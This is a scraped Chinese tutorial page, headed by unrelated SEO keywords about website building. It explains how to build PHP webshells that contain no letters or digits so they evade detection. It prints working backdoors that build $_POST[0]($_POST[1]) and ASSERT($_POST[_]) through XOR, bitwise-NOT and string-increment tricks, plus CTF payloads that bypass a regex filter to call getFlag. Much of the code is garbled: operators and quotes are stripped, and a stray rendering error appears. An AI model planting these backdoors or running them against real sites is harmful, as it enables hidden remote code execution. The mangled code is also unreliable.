网站logo图标,亚马逊的网站建设分析,友情链接的网站图片,电商网站建设注意事项构造不包含字母和数字的webshell
?phpecho A^;
?运行结果为!
代码中对字符A和字符”进行了异或操作。在PHP中#xff0c;两个变量进行异或时#xff0c;先会将字符串转换成ASCII值#xff0c;再将ASCII值转换成二进制…构造不包含字母和数字的webshell
?phpecho A^;
?运行结果为!
代码中对字符A和字符”进行了异或操作。在PHP中两个变量进行异或时先会将字符串转换成ASCII值再将ASCII值转换成二进制再进行异或异或完又将结果从二进制转换成了ASCII值再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。 在php中异或操作是两个二进制数相同时异或为0不同为1。 PHP是弱类型的语言也就是说在PHP中我们可以不预先声明变量的类型而直接声明一个变量并进行初始化或赋值操作。如将整型转换成字符串型将布尔型当作整型或者将字符串当作函数来处理。
?phpfunction B(){echo Hello Angel_Kitty;}$_;$__ ? ^ };$__();
?执行结果为Hello Angel_Kitty
$;这行代码的意思是对变量名为的变量进行自增操作在PHP中未定义的变量默认值为null,null false 0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串如_POST, “system”, “call_user_func_array”或者是任何我们需要的东西。
PHP后门
?php$_; // $_ 1$__(#^|); // $__ _$__.(.^~); // _P$__.(/^); // _PO$__.(|^/); // _POS$__.({^/); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?
异或进行绕过
?php
include flag.php;
if(isset($_GET[code])){$code $_GET[code];if(strlen($code)40){die(Long.);}if(preg_match(/[A-Za-z0-9]/,$code)){die(NO.);}eval($code);
}else{highlight_file(__FILE__);
}
//$hint php function getFlag() to get flag;
?payload
?code$_{{{^?/;${$_}[_]();_getFlag
$_GET[_]();
?phpecho {{{^?/;//_GET
?“{{{”^?/的结果是GET所以KaTeX parse error: Expected }, got EOF at end of input: {}_$GET_而此时getFlag 取反进行绕过
?php
$a getFlag;
echo urlencode(~$a);
?
payload
?code$_~%98%9A%8B%B9%93%9E%98;$_();利用php语法绕过 利用php语法规则在处理字符变量的算数运算时PHP 沿袭了 Perl 的习惯而非 C 的。例如在 Perl 中 $a ‘Z’; $a; 将把 $a 变成’AA’而在 C 中a ‘Z’; a; 将把 a 变成 ‘[’‘Z’ 的 ASCII 值是 90‘[’ 的 ASCII 值是 91。注意字符变量只能递增不能递减并且只支持纯字母a-z 和 A-Z。递增递减其他字符变量则无效原字符串没有变化。‘a’ ‘b’‘b’ ‘c’… 所以我们只要能拿到一个变量其值为a通过自增操作即可获得a-z中所有字符。如何拿到一个值为字符串’a’的变量数组Array的第一个字母就是大写A而且第4个字母是小写a。也就是说我们可以同时拿到小写和大写A等于我们就可以拿到a-z和A-Z的所有字母。在PHP中如果强制连接数组和字符串的话数组将被转换成字符串其值为Array再取这个字符串的第一个字母就可以获得’A’了。
?php
$_[];
$_$_; // $_Array;
$_$_[!]; // $_$_[0];
$___$_; // A
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;
$___.$__; // S
$___.$__; // S
$__$_;
$__;$__;$__;$__; // E
$___.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // R
$___.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // T
$___.$__;
ASSERT
$_____;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // P
$____.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // O
$____.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // S
$____.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // T
$____.$__;$_$$____;
$___($_[_]); // ASSERT($_POST[_]);payload
?code$啊^|^%*:,!;$啊();